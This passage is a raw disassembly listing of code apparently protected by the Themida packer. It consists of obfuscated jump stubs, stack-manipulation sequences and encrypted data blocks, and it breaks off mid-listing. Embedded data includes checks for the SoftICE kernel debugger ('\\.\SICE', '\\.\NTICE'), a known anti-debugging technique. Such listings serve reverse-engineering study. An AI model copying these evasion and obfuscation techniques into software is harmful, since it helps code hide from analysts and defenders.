--------------------------------------------------------------------------- loc_51467D: ; CODE XREF: Themida_:0050E452j mov ebx, 2000h and eax, ebx push dword ptr [esp] pop ebx jmp loc_50559B ; --------------------------------------------------------------------------- loc_51468D: ; CODE XREF: Themida_:0051061Ej shr ebp, 6 jmp loc_502289 ; --------------------------------------------------------------------------- dd offset aTrTdColspan3AH+48h align 2 dw 1C89h dd 81E38924h, 4C3h, 4C38100h, 87000000h, 248B241Ch, 0EBBA5224h dd 100A15Ah, 0EE815AD6h, 33282F46h, 0C681C601h, 33282F46h dd 5AEBEE81h, 0C68100A1h, 63DB2085h, 232FBB53h, 0EE810F37h dd 26F0AB2h, 0C681DE29h, 26F0AB2h, 76EE815Bh, 570F9966h dd 0FEB9F0E9h, 242489FFh, 4240483h, 0FFC952E9h db 0FFh ; --------------------------------------------------------------------------- loc_514701: ; CODE XREF: Themida_:00513428j push ecx jmp loc_50C070 ; --------------------------------------------------------------------------- aYaS db 'Y',0 dd 7D6866F3h, 4896615h, 28E9B424h, 665866E3h, 8324148Bh dd 0C6E902C4h, 29FFFEE7h, 51A3E9CEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51472E: ; CODE XREF: Themida_:0050E41Aj shl edx, 5 jmp loc_501446 ; --------------------------------------------------------------------------- loc_514736: ; CODE XREF: Themida_:0050C266j add ebx, esi pop esi mov [ebx], al pop ebx jmp loc_4FF816 ; --------------------------------------------------------------------------- loc_514741: ; CODE XREF: Themida_:00511E1Aj pop esp mov [esp], edx mov edx, 2C46010Ch push edi push esi mov esi, 7210380Dh and esi, 6FF83D45h neg esi jmp loc_505BA5 ; --------------------------------------------------------------------------- dw 8158h dd 0A860C4C7h, 21BB5341h, 43302967h, 0FF58BEE9h, 24048BFFh dd 0FF04C483h, 815A2434h, 4C4h, 0B090E900h, 0F180FFFEh dd 52C9FE7Bh, 0B5514DB2h, 80D5F60Ch, 0EA08DBF5h, 75F28059h dd 805AD100h, 0C1FEDBC1h, 301AB252h, 0A3045AD1h, 0FEC51AE9h dd 0FF515DFFh, 59042474h, 0E924048Fh, 0FFFFB664h, 0EA81FA01h dd 5A84ED3h, 3EC281h, 3C8B1BC3h, 0F8F4E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5147D6: ; CODE XREF: Themida_:0050F1C7j add ebp, 64240988h add ebp, esi jmp loc_4FF97A ; --------------------------------------------------------------------------- loc_5147E3: ; CODE XREF: Themida_:004FFDDAj mov edx, edi pop edi xor [esp+4], edx pop edx pop eax push edi push eax jmp loc_503E16 ; --------------------------------------------------------------------------- loc_5147F3: ; CODE XREF: Themida_:00513713j pop ebp push edx jmp loc_50747F ; --------------------------------------------------------------------------- dw 0E5C0h dd 0FED5F604h, 0BBF580C5h, 0CCC680h, 72E9E9EEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51480E: ; CODE XREF: Themida_:0050E4C1j mov esp, [esp] push eax jmp loc_503B24 ; --------------------------------------------------------------------------- loc_514817: ; CODE XREF: Themida_:00511E81j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edi mov edi, 4 add edx, edi pop edi xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] movsx ecx, al sub esp, 4 jmp loc_510B30 ; --------------------------------------------------------------------------- db 5Ch dd 0FFA99EE9h, 4EC81FFh, 0E9000000h, 0FFFEBAD0h, 61F768h dd 242C8900h, 2B850h, 81500000h, 50732434h, 815D0E3Ah dd 3A5073F5h, 0EB01580Eh, 0FF7201E9h, 7E6C0FFh, 0B1E9DEF6h dd 42FFFF88h, 5722E281h, 0C2816BBEh, 0B6F27596h, 2D5AD029h dd 1A76094Fh, 0FF792DE9h, 6C815DFFh, 54CC0424h, 5C0136BEh dd 0A4E90424h db 0CFh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5148B3: ; CODE XREF: Themida_:005115E0j pop edi push dword ptr [esp] push dword ptr [esp] pop esi add esp, 4 push 424Bh mov [esp], esi jmp loc_50EFD4 ; --------------------------------------------------------------------------- loc_5148CB: ; CODE XREF: Themida_:00510F3Aj add edi, 4 sub esp, 4 mov [esp], ebx jmp loc_500426 ; --------------------------------------------------------------------------- dd 749FF281h, 7FE97281h, 58FFFF12h, 0FF9BB8E9h, 24048BFFh dd 0F704C483h, 0B5C681DEh, 31F38662h, 0C5095EF0h, 7DED8158h dd 13FEB3Dh, 0C335DE9h, 240C3124h, 5C240C33h, 9C240420h dd 0FEAEF9E9h, 0CB814BFFh, 20F15C8Bh, 0FF12A8E9h, 0C1B753FFh dd 5BF988h, 0BF8BE9CBh db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_514936: ; CODE XREF: Themida_:0050ADDDj add ebp, 779B4473h push esi mov esi, 472C17D4h push 2B06h jmp loc_508C2C ; --------------------------------------------------------------------------- loc_51494C: ; CODE XREF: Themida_:0050CE52j and edi, edx pop edx add edi, 657D27C8h push edx jmp loc_503B3A ; --------------------------------------------------------------------------- db 0C1h dd 0DDF708EDh, 0FF1CB9E9h db 0FFh ; --------------------------------------------------------------------------- loc_514965: ; CODE XREF: Themida_:00510C8Fj mov ebx, [esp] jmp loc_506984 ; --------------------------------------------------------------------------- db 5Dh, 0F7h, 0DEh dd 0FF9B75E9h, 73C581FFh, 81442529h, 19226CC5h, 0EC815969h dd 4, 0E9243C89h, 0FFFF0153h, 4EC81h, 2C890000h, 4EC8124h dd 89000000h, 26E9243Ch, 5BFFFFA1h, 4A91BD55h, 0E9097D8Eh dd 5E9C15Dh, 808FC181h, 0CB01FC11h, 0C1D2E959h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5149C2: ; CODE XREF: Themida_:00505ACDj push 6ED5h mov [esp], ebx push dword ptr [esp] mov eax, [esp] push edi mov edi, esp add edi, 4 push eax mov eax, 4 add edi, eax jmp loc_51464D ; --------------------------------------------------------------------------- loc_5149E6: ; CODE XREF: Themida_:0050A980j pop esp jmp loc_50A55C ; --------------------------------------------------------------------------- loc_5149EC: ; CODE XREF: Themida_:005126C6j mov ecx, esp push ebx mov ebx, 4 add ecx, 273B5DE5h add ecx, ebx push ebp mov ebp, 273B5DE5h sub ecx, ebp pop ebp mov ebx, [esp] add esp, 4 push edx mov edx, 4 add ecx, edx pop edx jmp loc_504762 ; --------------------------------------------------------------------------- loc_514A1C: ; CODE XREF: Themida_:005054C2j mov ebx, [esp] add esp, 4 add ebx, 159C7D4Bh sub ebx, 44717930h jmp loc_501119 ; --------------------------------------------------------------------------- dw 0CB29h dd 0E9240C8Bh, 0FFFFBB43h, 4EC81h, 14890000h, 2474FF24h dd 94E95A04h, 31FFFEECh, 0FE93E9C6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514A5A: ; CODE XREF: Themida_:00514E13j mov eax, [esp] add esp, 4 xchg ebp, [esp] jmp loc_50333E ; --------------------------------------------------------------------------- db 9 dd 0A3E95BDFh, 1FFFEF1h, 0CCC381FBh, 5F200E04h, 173ABA52h dd 0D2F77D57h, 0FF9242E9h db 0FFh ; --------------------------------------------------------------------------- loc_514A89: ; CODE XREF: Themida_:0050B186j ; Themida_:0050CCC8j push 5715h mov [esp], ebx sub dword ptr [esp], 2892138Eh jmp loc_512ED7 ; --------------------------------------------------------------------------- db 51h, 0B9h, 5 dd 50580D27h, 0B36054B8h, 5D0F71Bh, 48676408h, 0FFFFFF2Dh dd 3B3548FFh, 0E9071E07h, 0FFFFD565h, 0E99DF380h, 0FFFF2DDFh dd 4240483h, 0FF5F5FE9h, 3EFC1FFh, 4081E781h, 0EF814E41h dd 5416AF3h, 0FFB491E9h, 13B850FFh, 355F092Dh, 7805A54h dd 93D3F793h, 0D8309E2Dh, 270F2530h, 0D8F755A9h, 9E95052h dd 53FFFF69h, 0CB8072B3h, 80DBF6B4h, 0C38037F3h, 0E3B0E90Ah dd 0C381FFFFh, 9082A00Dh, 1C8BDD29h, 4C48324h, 5C242C87h dd 89241C89h, 4EC81E3h, 0E9000000h, 0FFFFBB63h, 30FD2DADh dd 53682CB7h, 8900006Fh, 0FFBF243Ch, 5027B361h, 0FFCDA3E9h dd 4BDFFh, 0ECE90000h db 85h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514B5F: ; CODE XREF: Themida_:00502377j sub ebx, eax sub ebx, 545A38EBh jmp loc_508341 ; --------------------------------------------------------------------------- dd 51241C8Bh, 0C181E189h, 4, 4C181h, 0C870000h, 24248B24h dd 24048B66h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_50DCE6 ; --------------------------------------------------------------------------- dw 8358h dd 0C8702C1h, 8B665C24h, 2C682404h, 89000044h, 8B54242Ch dd 8952242Ch, 4C281E2h, 81000000h, 4C2h, 24148700h, 8BE565Ch dd 814D6044h, 7547A5E6h, 0FCEE8115h, 1056043h, 0EC835EF5h dd 241C8904h, 4BB7BD55h, 25BB09ABh, 295E8B50h, 814B5DEBh dd 164D93C3h, 4EC813Dh, 89000000h, 2BE2434h, 16E09AEh dd 2434FFF3h, 4C4815Eh, 1000000h, 2434FFDDh, 5954515Bh dd 4C181h, 0C1830000h, 0B95BE904h, 0CF21FFFEh, 0FFF4DFE9h dd 53D2B4FFh, 14E9E788h db 31h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514C33: ; CODE XREF: Themida_:004FF82Aj mov [esp], ecx jmp loc_50DC74 ; --------------------------------------------------------------------------- db 83h dd 0C38104C4h, 4D872BA1h, 0FECAD7E9h, 0E932FFFFh, 0FFFEABC6h dd 8324048Fh, 8B042404h, 0C483242Ch, 4C58104h, 56000000h dd 1EAD68h, 243C8900h, 0FF1A74E9h db 0FFh ; --------------------------------------------------------------------------- loc_514C71: ; CODE XREF: Themida_:00513B19j pop esp mov [esp], ecx push esi push 11A838DCh pop esi jmp loc_504F3C ; --------------------------------------------------------------------------- db 68h, 3Eh, 78h dd 94E90000h, 8FFFFF72h, 895C2404h, 18F2404h, 2434FF59h dd 0FF2434FFh, 0E9582434h, 0FFFFDEDCh, 5287E780h, 0B2E8B050h dd 8BC20019h, 3CE92404h, 5DFFFEDFh, 5C24048Fh, 0FEE027E9h db 0FFh ; --------------------------------------------------------------------------- loc_514CC1: ; CODE XREF: Themida_:0050C5F5j add esi, ebp pop ebp add esi, 4 xchg esi, [esp] pop esp jmp loc_502BBC ; --------------------------------------------------------------------------- dd 0DC2BC6BEh, 0E9DEF705h, 0FFFF75A8h ; --------------------------------------------------------------------------- loc_514CDC: ; CODE XREF: Themida_:005116B5j push 65747689h pop ebp jmp loc_50497C ; --------------------------------------------------------------------------- loc_514CE7: ; CODE XREF: Themida_:00505489j push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_4FFCDF ; --------------------------------------------------------------------------- dd 18E9E289h db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514D03: ; CODE XREF: Themida_:0050FD5Cj add edi, 2B702D86h push ecx mov ecx, 51A9790Bh shl ecx, 1 and ecx, 24A4108Fh and ecx, 67F719BAh xor ecx, 767018BCh sub edi, ecx jmp loc_5141C2 ; --------------------------------------------------------------------------- loc_514D2A: ; CODE XREF: Themida_:00502B52j dec ebp add ebp, 54018BFh xor ebp, 6D54324Bh jmp loc_512D8D ; --------------------------------------------------------------------------- dd 0C8B60F66h, 0E99C5166h, 0FFFEAACEh, 405h, 4C08300h dd 2474FF50h, 0BDE95804h db 0Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514D5B: ; CODE XREF: Themida_:0050EA9Bj mov ecx, 5A2C250Dh sub ecx, 5A2C2509h add ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] push eax mov eax, esp push esi mov esi, 4 add eax, esi pop esi add eax, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_50B04D ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0E9000000h, 0FFFEC6E2h, 0ED81DDF7h, 620B69E3h, 4211ED81h dd 0ED812CD2h, 232F3E49h, 0F581DDF7h, 29D1C48Bh, 535DEE89h dd 663858BBh, 67F7E900h, 0C181FFFFh, 4, 5C240C87h, 48BC389h dd 4C48124h, 0E9000000h, 0FFFF2307h, 0C6815E5Fh, 0E36635Dh dd 647EE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514DEE: ; CODE XREF: Themida_:0050F6C1j push esi jmp loc_50FBDF ; --------------------------------------------------------------------------- loc_514DF4: ; CODE XREF: Themida_:005117D6j xor eax, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 sub ebp, 45E34328h add ebp, eax add ebp, 45E34328h jmp loc_514A5A ; --------------------------------------------------------------------------- aFrT db 'fR',0 db 0D0h, 66h, 5Ah dd 50241C8Bh, 0A6E9E089h db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_514E2B: ; CODE XREF: Themida_:0050C87Dj push edi mov edi, 4 jmp loc_50EA8A ; --------------------------------------------------------------------------- dw 8B66h dd 0EC812404h, 4, 0FED60DE9h, 5FE181FFh, 81592023h, 334B74C1h dd 9E94978h, 0E8FFFEDFh, 11h, 5C492EE3h, 40982B1Eh, 0A524BB12h dd 7F973D3Eh, 0CE940h, 7F0C0000h, 0F0BD4FEFh, 0F3EE6784h dd 958889Ah, 312E9B5h, 0B5C08106h, 80000073h, 0BAE3D9h dd 33000000h, 32381B5h, 103C8B06h, 6840Fh, 0B58B0000h dd 60314BDh, 244EF81h, 95890592h, 6031FF1h, 0C84DF781h dd 8B6628BFh, 1CC781F1h, 0F29C01Ch, 0C88h, 6860F00h, 8B000000h dd 324259Dh, 53B15706h, 0BE10048Fh, 266C0FF6h, 264D8D8Bh dd 0EA810603h, 1E9DECh, 0FB87E381h, 0C2812A75h, 1E9DE8h dd 1395B58Bh, 0FA810603h, 0FFFF8D38h, 26850Fh, 0DE90000h dd 2E000000h, 24427D70h, 0E4B11E02h, 0BEAAC7BDh, 2CE9h dd 78CE500h, 0E38ED0CCh, 34164AF0h, 2285473Ch, 2AB1BD89h dd 5EE90603h, 3FFFFFFFh, 167A5511h, 1B6C9624h, 0E7D104CCh dd 0E5F642h, 5536EBB1h, 33524553h, 6C642E32h, 4441006Ch dd 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh dd 0A07D700h, 12000400h, 1E000B00h, 8B002700h, 0F35D0500h dd 7FDE973h, 0EA680000h, 0E906059Fh, 0FFFDDF19h, 5A04F68h dd 0DF0FE906h, 8568FFFDh, 0E90605A1h, 0FFFDDF05h, 5A2F068h dd 0DEFBE906h, 4368FFFDh, 0E90605A3h, 0FFFDDEF1h, 5A43768h dd 0DEE7E906h, 0A668FFFDh, 0E90605A4h, 0FFFDDEDDh, 0DB471099h dd 0FA6637BDh, 178354DCh, 3AA66FF9h, 5AC6971Ch, 68B4F9Bh dd 20ABC935h, 41CDEB57h, 67EE0C78h, 79252A96h, 14DA40AEh dd 0F2230D0h, 53CA8113h, 982B99CDh, 2474C897h, 579CC9Dh dd 1473D13Ah, 1C4C59DCh, 0C95462h, 4B0E0601h, 0A9E84C38h dd 0B226F22Bh, 0C903ACE7h, 3A394603h, 0D321EC1Eh, 0A333F10Bh dd 326B9E96h, 0C42B3C45h, 6C55FFE8h, 0F138115Fh, 81D4E133h dd 308420Dh, 93A039F4h, 0F0BBED1Fh, 3DF2F082h, 676D6572h dd 85A30FE0h, 0D7A830FEh, 338ADDD8h, 0B49D8F81h, 8ADEE5E6h dd 40000006h, 6482EEB7h, 83A10DDEh, 0A0BE2AFBh, 0C3E14D16h dd 42016D3Eh, 0DCAD32F6h, 0FEC75270h, 1FE87492h, 3D0E95B3h dd 5520CCD1h, 0D014DA1Fh, 56B6C9D7h, 0E3FFFECFh, 3E65D1DAh dd 0C4BC775Bh, 188C1491h, 16F8E14Dh, 7B010FDCh, 0F906B2AAh dd 22EB7785h, 430C98B6h, 0F4C54C44h, 0BF92E19Dh, 52595ACEh dd 625h, 0E7531CA5h, 67243C9h, 238F60E8h, 46B27B05h, 66D2A328h dd 12975BA7h, 2CB7D541h, 4DD9F763h, 73FA1884h, 853136A2h dd 14E5B4BAh, 1B2E3CD0h, 3F350032h, 0B7D61145h, 25ACB2AAh dd 8106CC57h, 635E5DB0h, 0C3F51110h, 1145FAF8h, 756D7AD6h dd 0A317E86Fh, 42410A95h, 0A29A4F47h, 524A491Ah, 25ACFCCDh dd 6E395554h, 0D6114500h, 50ABE3F0h, 582DA853h, 0E706CD5Bh dd 500D5C39h, 5C000000h, 7701CF56h, 9D25EAEh, 50BC0F0Ah dd 455F996Dh, 36BDD611h, 77AEF965h, 0FA0335A9h, 60522645h dd 5122AA60h, 0C045752h, 141D0C49h, 14A0AADCh, 5A594C4Bh dd 0F589B9E2h, 66DA2D80h, 8F03CC58h, 3028F981h, 9B64F00Eh dd 557959Ch, 56980000h, 0AE7701CFh, 0DF64B4AFh, 0A0BCBB0Eh dd 0E89DE997h, 5FD040Eh, 59CDABD2h, 0C58E1927h, 10D3CBC6h dd 0DC14B887h, 1836A2AFh, 954C091h, 5E90049Ch, 0BA13612Ch dd 0D6E3D012h, 1BEC1BDEh, 5C66DA15h, 3FB306D7h, 70DCA531h dd 11DCC652h, 0DA18DBE3h, 0EAE0B139h, 938B8ADDh, 1EE43B0Ch dd 0ABD4C377h, 4EFA3AAh, 52DB0000h, 79FF1D89h, 961E3CA8h dd 0B13B59C5h, 0D95E7CE8h, 91DD9C08h, 0B7748CDh, 2D9962EDh dd 4EBA830Fh, 6CD8A930h, 82F0BB67h, 72D014E4h, 0CF565164h dd 0AF4DE006h, 0FA80A77Ah, 0B48BD629h, 8DAE8340h, 271F1E71h dd 0ADD0CFA0h, 6676DBD8h, 81D61117h, 0A879FF0Dh, 0CAB6AEA9h dd 5C39B100h, 0FFFEF409h, 243258FFh, 0D1D7CF98h, 26F47C4Ah dd 8180D39Ch, 18343386h, 0BDB57E0Ah, 1185138Ah, 7E47D1DFh dd 6444C386h, 0D1DEDC14h, 89152365h, 0CEC6C1C0h, 0AA75629Bh dd 0D0126544h, 58CC1F2Ch, 17429A8Dh, 830816DAh, 0C0B8B3B2h dd 0EC080714h, 938B54DEh, 1778A7D0h, 0A6A31CDAh, 3FDAD318h dd 17D5A50h, 414A0000h, 0F33F31D0h, 531E1639h, 67512932h dd 668CE160h, 0DC6F256Eh, 3163D7A1h, 11020866h, 0E3DBE8D6h dd 0F37987B9h, 0A42B2322h, 86D9D4D3h, 0EAE2AB36h, 14272C27h dd 0C53946DCh, 871088BCh, 665EE8ABh, 51DA2D80h, 0E416A9E8h dd 0CC15DB19h, 9919B09h, 0EB3E3938h, 0BE45C0F3h, 9E126536h dd 0C918B8D3h, 0EE2D3203h, 0ACFEDA9h, 4D7FF346h, 0F1866C82h dd 68D3AF33h, 846F83DEh, 0D489818Eh, 36AA76AFh, 0F45F216Bh dd 33BFC939h, 95A3176Ah, 0BBC93D0Eh, 69646334h, 0AA314F71h dd 33B282D9h, 5253B49Dh, 3844Bh, 0F4BD4600h, 13E46A88h dd 300189A7h, 531CA6C4h, 7344C9E7h, 38FC4807h, 5876E2B3h dd 7A9804CDh, 9BB925EEh, 0D2D74314h, 0E7155B26h, 0CFDDD014h dd 24FC29BCh, 0E4A1E5B0h, 303DDC16h, 5922AEBCh, 7A43CFEDh dd 2BFC837Bh, 0BF77FAD4h, 0A7AEAFCEh, 331h, 0DB471099h dd 0FA6637BDh, 178354DCh, 3AA66FF9h, 5AC6971Ch, 68B4F9Bh dd 20ABC935h, 41CDEB57h, 67EE0C78h, 79252A96h, 14E640AEh dd 0F2230D0h, 0FFFECF56h, 0B0AF8007h, 56BBB88Dh, 0D6114706h dd 0ECE86569h, 0D225642Eh, 39C5569Ch, 0FD47DF5Ch, 562EFFFFh dd 0DAFFFECFh, 5361D5A3h, 500FFC8h, 63622BB5h, 14467068h dd 41BC760Bh, 4F4795C0h, 1459BF8Ch, 3C0739DCh, 0D0121836h dd 0DB9B1BEh, 32B19400h, 0CCCB9C24h, 2CF581D1h, 0F13A322Dh dd 0B048B59Eh, 60E6713Ch, 8390DC14h, 18B9953h, 0B8D66B40h dd 0C71A21EDh, 10880CCFh, 0E01D782Bh, 4072A418h, 0A5E7F75h dd 0DDEAF778h, 780A5E97h, 305A525Fh, 0F532A65h, 0B8B7C472h dd 1A8E6A93h, 0A60054Fh, 2CA0AD68h, 54634523h, 0B6AEE269h dd 26F77E8Ch, 44159CBAh, 0DB8509EDh, 0CAD1D282h, 23Dh dd 0CF3B048Dh, 0EE5A2BB1h, 0B7748D0h, 2E9A63EDh, 4EBA8B10h dd 0FA7F438Fh, 149FBD29h, 35C1DF4Bh, 5BE2006Ch, 6D191E8Ah dd 14E14CA2h, 31624D0h, 0CD9E2432h, 2928F17Dh, 9A03362Eh dd 91BF8AFEh, 21DC16E4h, 3C6EA014h, 14DA0371h, 44AA75D0h dd 2CD014DAh, 241C291Fh, 5DC9921Eh, 0EBEAB33Fh, 449B6CF3h dd 0CEBF7856h, 0CE2B3233h, 0FC000001h, 203EAA73h, 3F5DC99Ah dd 5C7AE6B7h, 7F9D09D2h, 0FEBD29FAh, 9869EEB2h, 0BA830E2Ch dd 0DBA4304Eh, 0F9CA516Fh, 11DC888Dh, 0D014E1E3h, 29728593h dd 0AA572CFCh, 0E0297B64h, 4E198Dh, 0B0DC1607h, 9A212FA3h dd 0E6125DC9h, 0E7D39E12h, 5FD017C7h, 0DC65735Ah, 0BC0FAA38h dd 0E7B03A48h, 0BD423AEFh, 0A5EFEDECh, 4D545720h, 0FEF70BBBh dd 84F43FABh, 0C7B580F4h, 3FD017F8h, 0F8284611h, 7F4AD017h dd 0D017F871h, 0F1FEF401h, 20A79F9Eh, 852504Fh, 2644B081h dd 515ACE9Fh, 803CAEF5h, 48138750h, 0D0175E2Ah, 10C5BDCAh dd 723E83D5h, 5E7F7540h, 0EAF7D017h, 721A17F2h, 90AE1AEBh dd 0B6C43809h, 6863622Bh, 3EC3BB70h, 1C06E6Dh, 4D55C04h dd 24F57A98h, 2A6EEA25h, 0DED6D59Eh, 0AC8C8B54h, 82A95451h dd 2E3C0805h, 0DFDAD9A2h, 8B5CE1E7h, 0AB7C011Fh, 5F28B4ACh dd 66634260h, 0FC6839BEh, 878657DEh dd 82B7DED2h, 3A371688h, 0C63A0B92h, 0B898B94h, 54915788h dd 687F2947h, 0A7037468h, 64FFA710h, 4769616Eh, 0D2D1A229h dd 551EA8B6h, 1D2575Dh, 0CAC72202h, 5ECA9B22h, 0E9E8B940h dd 3AC259C4h, 1C6F6A69h, 35DA9FA8h, 0FBD814C5h, 790ED903h dd 0F9626D6Dh, 46C939F4h, 89DCB02Bh, 0DA18E315h, 9A126D7Fh dd 2873958Dh, 0E4AF23FDh, 186ADE9Eh, 175D2856h, 0DF1C909Ch dd 88807FD2h, 82C43001h, 231BEC74h, 0C6C5961Dh, 49129CAAh dd 94574F4Ah, 8689E6ECh, 0BBBA830Eh, 6E6D3EC3h, 590401C0h dd 21C9C621h, 3F5DC99Ah, 0F0E8E7B8h, 2FB4A566h, 709869A3h dd 21001E1Dh, 24F57C24h, 42139AB8h, 33C43h, 543F0000h dd 4CD563Dh, 0B5860D05h, 6932BEB6h, 1EE7726Ah, 0D1A2271Fh dd 8455DAD2h, 3A038D85h, 0EABB433Bh, 9C6DF3EBh, 0CC686F9Dh dd 89000007h, 0F268240Ch, 8900004Eh, 0F868242Ch, 8900006Bh dd 0BF57240Ch, 45AD0CF9h, 58924ABDh, 8BFD01C0h, 0C481243Ch dd 4, 240C8B54h, 8304C483h, 348904ECh, 89EE8924h, 0FF5E0871h dd 81592434h, 4C4h, 2434FF00h, 4C4835Dh, 0FDD730E9h, 9FCDAEFFh dd 0D8158E6Ah, 0B8666312h, 605A699h, 0E0FFC503h, 72791F39h dd 4B70A1E5h, 5A009159h, 7E578327h, 5CF7CA84h, 199FB9FCh dd 6857E449h, 3B01B6C2h, 7364F9C6h, 594B1BD0h, 3D6551F8h dd 7AF87352h, 44A3C42Bh, 155C26FCh, 796C0BA6h, 8B9452Eh dd 24DF5F6h, 575B4219h, 0EC45DB9h, 94CC08h, 73E9h, 0BD836000h dd 6030B41h, 5840F00h, 0E9000000h, 5Eh, 3E80006Ah, 8850F30h dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah dd 24h, 0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh dd 406A0000h, 2E946h, 6A0000h, 2FB1858Dh, 89500603h, 89502404h dd 6A2434h, 18A195FFh, 0C3610603h, 1BA185C6h, 684D0603h dd 5B597F6Bh, 3D240481h, 0FF48DBF7h, 33121B5h, 0E0858D06h dd 0FF060338h, 0A18589D0h, 0E8060318h, 0Ah, 28BB5A5h, 0ED53F94Bh dd 8B662D7Eh, 0BF0F5AC2h, 9CC281CFh, 0E8000072h, 0Ah, 268F0344h dd 0A2EAE259h, 858BCF36h, 60318D9h, 59B9BB58h, 0F38139B9h dd 39B94539h, 0B70F3A8Bh, 6AF781C7h, 6602C872h, 0EF81C78Bh dd 0E5CBB8Ch, 2D1BE66h, 5F02EF81h, 8B666949h, 0BD8957C8h dd 6032025h, 0B70F028Fh, 1EA83C9h, 4A4A4AF8h, 1EB83FCh dd 13850Fh, 8B660000h, 22E9C8h, 9F6F0000h, 0D55AC6DCh dd 0B5B6AB06h, 0C58D895Eh, 0E9060317h, 0FFFFFFA4h, 8513B8B8h dd 0C0CFBE66h, 8B66B8B5h, 5C5C1EEBh, 49535C2Eh, 5C004543h dd 535C2E5Ch, 49565749h, 5C5C0044h, 544E5C2Eh, 454349h dd 8D33C08Bh, 60302DDh, 4E5BD83h, 75000603h, 39BD8309h dd 60323h, 53501974h, 0FB8C08Bh, 89000004h, 31A9D85h, 0BF9D8D06h dd 0FF0605B5h, 83585BD3h, 32339BDh, 17740006h, 0FB85350h dd 89000004h, 31A9D85h, 0AE9D8D06h, 0FF0605B2h, 60585BD3h dd 28F0Fh, 0FBB40000h, 219DBD03h, 89610603h, 332C59Dh dd 0BFC08B06h, 732839BFh, 1BA185C6h, 6A430603h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 99C2C357h, 0B5C6E15Fh, 0C88B666Eh, 4E8h, 8E6EFC00h dd 73BF56BCh, 5E5C5093h, 0F88B6650h, 424448Bh, 0B086E4BFh dd 0B1008B0Eh, 24448937h, 0B1525004h, 0F310F16h, 282h dd 5AF38B00h, 0BF0F5858h, 0E1B5FFC9h, 0E8060302h, 10h dd 7B2651B7h, 0C2C98D43h, 0F0B42146h, 638E50F5h, 2A71B589h dd 8D5A0603h, 338E085h, 0E0806006h, 28B0F8Fh, 8A000000h dd 0BF0F61E6h, 6AD0FFF6h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1D042444h, 41000000h, 4D7DC351h, 60FE183Bh dd 0C4ABBCB7h, 0DE8h, 4DAB9300h, 7CDBDEA9h, 6BB37C07h dd 66604604h, 63EFDE81h, 479BD881h, 5E616E6Eh, 12E99D09h dd 0B2500603h, 24048929h, 958D89h, 6A0603h, 0F281F38Bh dd 0B0F2FA5h, 0B9034568h, 81D18BB5h, 0FD3B2404h, 85894A46h dd 603094Dh, 401BD8Bh, 36A0603h, 0E398589h, 6A0603h, 6AF88B66h dd 0D7B70F03h, 4E8h, 0 dd 50FB8BC0h, 448B55B2h, 9E90424h, 7000000h, 0B157CEB4h dd 0F3EA3DE3h, 4489008Bh, 810F0424h, 4, 8449BE66h, 8DCF8B58h dd 5A8999Dh, 0CE906h, 0E64C0000h, 4B74AA05h, 1321DFBBh dd 8A934EFCh, 850F50D3h, 13h, 0EE9h, 0FAEB4300h, 2D3D8CBBh dd 6E854B6Eh, 93BA3DB3h, 15D9BD29h, 0F7810603h, 46C55551h dd 0BD89D0FFh, 60322DDh, 44850F40h, 66000003h, 8058F88Bh dd 41B9A2E2h, 502CBD4Ah, 8B605250h, 5A76BADAh, 0F616EABh dd 0D68B6631h, 489585Ah, 0F5E28124h, 6A6A90AFh, 14E800h dd 0AAA30000h, 0A0637402h, 8D71404Dh, 4D0CDD1Fh, 75EB8474h dd 0E2817588h, 3E1A851Eh, 4E859h, 800000h, 9E80000h, 0EA000000h dd 4BA77F94h, 964B61ACh, 505FCB8Bh, 0E8E0Fh, 9E90000h dd 21000000h, 79785F1Ah, 0D1CBABC1h, 424448Bh, 5E8h, 8BD20200h dd 0B8608911h, 58C921FCh, 8B5F61h, 81C6A5B9h, 24448924h dd 58F78B04h, 20599D89h, 0E9810603h, 577A70D4h, 0B589036Ah dd 6030065h, 0BE9006Ah, 9E000000h, 537C643h, 94BBA261h dd 36A8C6Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 5C35242h, 914ECD68h, 0EE8AAh, 0D2550000h, 703542F4h dd 0D0B85F5Ah, 5B5132FAh, 8B0Fh, 815E0000h, 0B1332404h dd 0BF0F156Eh, 0A29D8DD7h, 500605A8h, 22C98166h, 0F935ED7h dd 198Ch, 50525000h, 5A310F52h, 0E9310F58h, 8, 0E763490Fh dd 0F9417674h, 5150585Ah, 28D0Fh, 61600000h, 6A935Fh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 7E3D0FC3h, 5BD8BFDh, 23060300h, 31375BDh, 40D0FF06h dd 1CD850Fh, 0BA660000h, 8958071Dh, 31A1995h, 0B5BD3106h dd 90060319h, 0AE8h, 458F7800h, 92C40451h, 5E12F3E6h, 0FA8B6650h dd 9E96090h, 0D6000000h, 0F1100FB4h, 22A6C8AFh, 1769BD89h dd 6A610603h, 28A0F00h, 0B5000000h, 4E85Bh, 800000h, 